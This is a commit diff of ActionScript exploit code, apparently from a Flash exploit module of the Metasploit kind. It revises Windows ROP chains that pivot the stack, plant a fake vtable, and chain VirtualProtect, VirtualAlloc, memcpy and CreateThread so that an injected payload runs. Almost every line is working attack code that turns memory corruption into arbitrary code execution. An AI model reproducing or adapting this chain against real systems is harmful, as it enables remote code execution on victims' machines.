@@ -164,113 +164,22 @@ package
164
164
var memcpy: uint = pe. procedure("memcpy" , ntdll)
165
165
var xchgeaxespret: uint = pe. gadget("c394" , 0x0000ffff , flash)
166
166
var xchgeaxesiret: uint = pe. gadget("c396" , 0x0000ffff , flash)
167
- var addespcret: uint = pe. gadget("c30cc483" , 0xffffffff , flash)
168
-
169
- Logger. log ("add esp c ret: " + addespcret. toString (16 ))
167
+ var addespcret: uint = pe. gadget("c30cc483" , 0xffffffff , ntdll)
170
168
171
169
// Continuation of execution
172
170
eba. write(buffer + 0x10 , "\x b8" , false ); eba. write(0 , vtable, false ) // mov eax, vtable
173
171
eba. write(0 , "\x bb" , false ); eba. write(0 , main, false ) // mov ebx, main
174
172
eba. write(0 , "\x 89\x 03" , false ) // mov [ebx], eax
175
- //eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
176
-
177
- eba. write(0 , "\x 31\x C0" , false ) // xor eax, eax
178
- eba. write(0 , "\x 87\x f4\x C2\x 04\x 00" , false ) // xchg esp, esi # ret 4
179
-
180
- // Put the payload (command) in memory
181
- eba. write(payload_address + 8 , payload, true ); // payload
182
-
183
- // Put the fake vtabe / stack on memory
184
- //for (var i:uint = 0 ; i < 0x100; i = i + 4) {
185
- //eba.write(stack_address + 0x18000 + i, 0x41410000 + i)
186
- //}
187
-
188
- eba. write(stack_address + 0x18020 , xchgeaxespret) // Initial gadget (stackpivot)
189
- eba. write(stack_address + 0x18000 , xchgeaxesiret) // save original esp in esi
190
-
191
- eba. write(0 , addespcret)
192
- eba. write(stack_address + 0x18014 , addespcret)
193
- eba. write(stack_address + 0x18024 , virtualprotect)
194
- //eba.write(0, virtualprotect)
195
-
196
- // VirtualProtect
197
- eba. write(0 , virtualalloc)
198
- eba. write(0 , buffer + 0x10 )
199
- eba. write(0 , 0x1000 )
200
- eba. write(0 , 0x40 )
201
- eba. write(0 , buffer + 0x8 ) // Writable address (4 bytes)
202
-
203
- // VirtualAlloc
204
- eba. write(0 , memcpy)
205
- eba. write(0 , 0x7f6e0000 )
206
- eba. write(0 , 0x4000 )
207
- eba. write(0 , 0x1000 | 0x2000 ) // MEM_COMMIT | MEM_RESERVE
208
- eba. write(0 , 0x40 ) // PAGE_EXECUTE_READWRITE
209
-
210
- // memcpy
211
- eba. write(0 , addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
212
- eba. write(0 , 0x7f6e0000 )
213
- eba. write(0 , payload_address + 8 )
214
- eba. write(0 , payload. length )
173
+ eba. write(0 , "\x 87\x f4\x c3" , false ) // xchg esp, esi # ret
215
174
216
- // CreateThread
217
- eba. write(0 , createthread)
218
- eba. write(0 , buffer + 0x10 ) // return to fix things
219
- eba. write(0 , 0 )
220
- eba. write(0 , 0 )
221
- eba. write(0 , 0x7f6e0000 )
222
- eba. write(0 , 0 )
223
- eba. write(0 , 0 )
224
- eba. write(0 , 0 )
225
-
226
- eba. write(main, stack_address + 0x18000 ) // overwrite with fake vtable
227
-
228
- Logger. alert("here we go " + main. toString (16 ) + " " + (stack_address + 0x18000 ). toString (16 ))
229
- exploit. hasOwnProperty ('msf' )
230
- }
231
-
232
- private function do_rop_windows8 ():void
233
- {
234
- Logger. log ("[*] Exploiter - do_rop_windows()" )
235
- var pe: PE = new PE (eba)
236
- var flash: uint = pe. base (vtable)
237
- var winmm: uint = pe. module ("winmm.dll" , flash)
238
- var kernel32: uint = pe. module ("kernel32.dll" , winmm)
239
- var ntdll: uint = pe. module ("ntdll.dll" , kernel32)
240
- var virtualprotect: uint = pe. procedure("VirtualProtect" , kernel32)
241
- var virtualalloc: uint = pe. procedure("VirtualAlloc" , kernel32)
242
- var createthread: uint = pe. procedure("CreateThread" , kernel32)
243
- var memcpy: uint = pe. procedure("memcpy" , ntdll)
244
- var xchgeaxespret: uint = pe. gadget("c394" , 0x0000ffff , flash)
245
- var xchgeaxesiret: uint = pe. gadget("c396" , 0x0000ffff , flash)
246
- var addespcret: uint = pe. gadget("c30cc483" , 0xffffffff , flash)
247
-
248
- Logger. log ("add esp c ret: " + addespcret. toString (16 ))
249
-
250
- // Continuation of execution
251
- eba. write(buffer + 0x10 , "\x b8" , false ); eba. write(0 , vtable, false ) // mov eax, vtable
252
- eba. write(0 , "\x bb" , false ); eba. write(0 , main, false ) // mov ebx, main
253
- eba. write(0 , "\x 89\x 03" , false ) // mov [ebx], eax
254
- //eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
255
-
256
- eba. write(0 , "\x 31\x C0" , false ) // xor eax, eax
257
- eba. write(0 , "\x 87\x f4\x C2\x 04\x 00" , false ) // xchg esp, esi # ret 4
258
-
259
175
// Put the payload (command) in memory
260
176
eba. write(payload_address + 8 , payload, true ); // payload
261
177
262
178
// Put the fake vtabe / stack on memory
263
- //for (var i:uint = 0 ; i < 0x100; i = i + 4) {
264
- //eba.write(stack_address + 0x18000 + i, 0x41410000 + i)
265
- //}
266
-
267
- eba. write(stack_address + 0x18020 , xchgeaxespret) // Initial gadget (stackpivot)
268
- eba. write(stack_address + 0x18000 , xchgeaxesiret) // save original esp in esi
269
-
270
- eba. write(0 , addespcret)
271
- eba. write(stack_address + 0x18014 , addespcret)
272
- eba. write(stack_address + 0x18024 , virtualprotect)
273
- //eba.write(0, virtualprotect)
179
+ eba. write(stack_address + 0x18070 , xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
180
+ eba. write(stack_address + 0x180a4 , xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
181
+ eba. write(stack_address + 0x18000 , xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
182
+ eba. write(0 , virtualprotect)
274
183
275
184
// VirtualProtect
276
185
eba. write(0 , virtualalloc)
@@ -301,14 +210,12 @@ package
301
210
eba. write(0 , 0 )
302
211
eba. write(0 , 0 )
303
212
eba. write(0 , 0 )
304
-
213
+
305
214
eba. write(main, stack_address + 0x18000 ) // overwrite with fake vtable
306
-
307
- Logger. alert("here we go " + main. toString (16 ) + " " + (stack_address + 0x18000 ). toString (16 ))
308
- exploit. hasOwnProperty ('msf' )
215
+ exploit. toString () // call method in the fake vtable
309
216
}
310
217
311
- /* private function do_rop_windows8():void
218
+ private function do_rop_windows8 ():void
312
219
{
313
220
Logger. log ("[*] Exploiter - do_rop_windows8()" )
314
221
var pe: PE = new PE (eba)
@@ -372,9 +279,8 @@ package
372
279
eba. write(0 , 0 )
373
280
374
281
eba. write(main, stack_address + 0x18000 ) // overwrite with fake vtable
375
- Logger.alert("here we go " + main.toString(16) + " " + (stack_address + 0x18000).toString(16))
376
282
exploit. toString () // call method in the fake vtable
377
- }*/
283
+ }
378
284
379
285
private function do_rop_linux ():void
380
286
{
0 commit comments